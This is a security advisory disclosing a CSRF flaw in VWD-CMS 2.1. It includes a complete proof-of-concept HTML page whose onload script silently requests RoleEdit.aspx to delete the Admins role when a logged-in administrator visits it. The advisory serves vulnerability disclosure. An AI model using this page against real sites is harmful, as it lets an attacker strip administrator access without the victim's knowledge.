Abysssec Research
1) Advisory information
Title : VWD-CMS CSRF Vulnerability
Affected : VWD-CMS version 2.1
Discovery :
Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
2) Vulnerability Information
Class
1- CSRF
Exploiting this issue could allow an attacker to compromise the application, access
or modify data, or exploit latent vulnerabilities in the underlying application.
Remotely Exploitable
Yes
Locally Exploitable
No
3) Vulnerabilities detail
1- CSRF:
The VWD-CMS have CSRF Vulnerability in order to remove any Role especially Admins Role. With this
Vulnerability you can navigate the admin to visit malicious site (when he is already logged in) to remove
a role.
In this path a role could be removed:
http://Example.com/VwdCms/Members/RoleEdit.aspx?delete=yes&role=RoleName
RoleName can be Admins or Members)
Here is HTML File with AJAX Code and with GET Method for this operation that is enough to Admin meet
it.
The Source of HTML Page (Malicious Site)
<html>
<head>
<title >Wellcome to My Site!</title>
Hello!
...
...
...
This page remove Admins Role in VWD-CMS.
<script>
function RemoveRole() {
try {
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
} catch (e) {}
var http = false;
if (window.XMLHttpRequest) {
http = new XMLHttpRequest();
}
else if (window.ActiveXObject) {
http = new ActiveXObject("Microsoft.XMLHTTP");
}
url = "http://Example.com/VwdCms/Members/RoleEdit.aspx?delete=yes&role=Admins";
http.onreadystatechange = done;
http.open('GET', url, true);
http.send(null);
}
function done() {
if (http.readyState == 4 && http.status == 200)
{
}
}
</script>
</head>
<body onload ="RemoveRole();">
</body>
</html>
Wyszukiwarka
Podobne podstrony:
VisualSite CMS Multiple Vulnerabilities
JMD CMS Multiple Remote Vulnerabilities
FestOS CMS 2 3b Multiple Remote Vulnerabilities
JE CMS 1 0 0 Bypass Authentication by SQL Injection Vulnerability
eshtery CMS Sql Injection Vulnerability
CMS Lab 04 Szablony
CMS Lab 01 Podstawy Joomla
CMS Lab 03 JoomlaPack
CMS Lab 07 Zend Framework
CMS Lab 01 Podstawy Joomla
cms grzegorzjeczmyk p
CMS Lab 06 Podstawy PHP
cms grzegorzjeczmyk t
mini cms z wykorzystaniem flexa
CMS Instalacja dla Windows XP
Vulnera marsa et abscessus, Weterynaria, bydła + konie + trzoda chlerwna
CMS Lab 08 Blog 1
więcej podobnych podstron